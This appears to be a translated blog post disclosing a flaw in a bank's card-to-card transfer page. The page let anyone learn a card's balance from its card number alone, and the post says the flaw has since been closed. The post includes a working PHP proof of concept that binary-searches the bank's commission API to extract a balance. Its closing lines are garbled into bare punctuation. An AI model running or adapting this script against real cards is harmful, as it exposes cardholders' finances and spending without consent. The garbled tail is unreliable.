UPD3: Vulnerability closed, the balance is no longer checked.
It all started with the fact that one evening he asked me a friend to throw him money on the card. I have always solved such problems either through the Internet Bank or through a mobile application, but since they have recently turned the Internet Bank into a wild monster, this time I decided to use their
card2card service.
I fill myself quietly field, and then the unexpected happens:
')

Wait, because I did not press the send button! Where does this come from? Played with the amount, checks the actual amount on the card.
At first, I thought a sinful thing that the Ajax sends to the server all the card data, including the CVC and the expiration date, with each edit. This, of course, disgusting, but https - let them do what they want. I go to browser requests:

CVC is not transmitted, it is already interesting. But then the validity period is transmitted, at least some kind of protection, I think, although still at a loss why to check the balance of the card by the Ajax on the fly.
But nevertheless, the interest doesn’t end up completely and I edit the query:

Oops. At the reverse end, nothing is checked except the sender’s card number.
Obviously, using the simple brute force method, it is easy to choose the amount below which everything is ok, and the error is higher - this will be the balance of the card. That is, knowing only the card number (which of course is not too public information, but not critical, many give card numbers to friends and even post them on the Internet to receive payments) you can find out how much money there is. Moreover, as experiments have shown, no monthly limits do not affect this.
The hole is not critical, but the availability of this information in real time allows you to keep track of all expenses / recharge - and this is more serious.
Immediately unsubscribed Bezopasnik by publicly available mail, but the reaction, as usual, is zero.
Quickly sketched proof of concept (do not hit hard, my programming experience is basic in school).
php inside<?php
header( 'Content-type: text/html; charset=utf-8' );
$card = $_GET['card'];
$card = preg_replace('/[^0-9]+/', '', $card);
if (strlen($card) != 16) {
exit('<br>Wrong card number: ' . $card);
}
echo 'Probing card ' . $card . '... <br>';
flush();
ob_flush();
sleep(1);
$money = 50000;
$max = 1000000;
$min = 0;
$done = false;
$iter = 0;
while ($done == false) {
if($iter %5 == 0) {
echo 'Still working, please hang on...<br>';
flush();
ob_flush();
sleep(1);
}
$json = file_get_contents('https://www.tinkoff.ru/api/v1/payment_commission/?paymentType=Transfer¤cy=RUB&moneyAmount=' . $money . '&provider=c2c-anytoany&sessionid=1&origin=prt&cardNumber=' . $card . '&fieldtoCardNumber=1&fieldagreement=&securityCode=cvc&expiryDate=10/20');
$obj = json_decode($json);
$result = $obj->{'resultCode'};
if ($result == "OK") {
//need to increase
$min = $money;
$money = ($min + $max) /2;
$last_total_money = round($obj->payload->total->value);
} else {
//need to decrease
$max = $money;
$money = ($min + $max) /2;
}
$iter++;
if ((floor($max) - floor($min)) == 0) {
$done = true;
echo '<br><br>Money amount is ' . $last_total_money . ' roubles.';
}
if ($iter > 50) {
exit('<br><br>Something went terribly wrong, or the bug is already fixed. Last amount is ' . $last_total_money);
}
}
?>
. - , , . , , , , .
, , ( ) . .
, - . , .
, , , .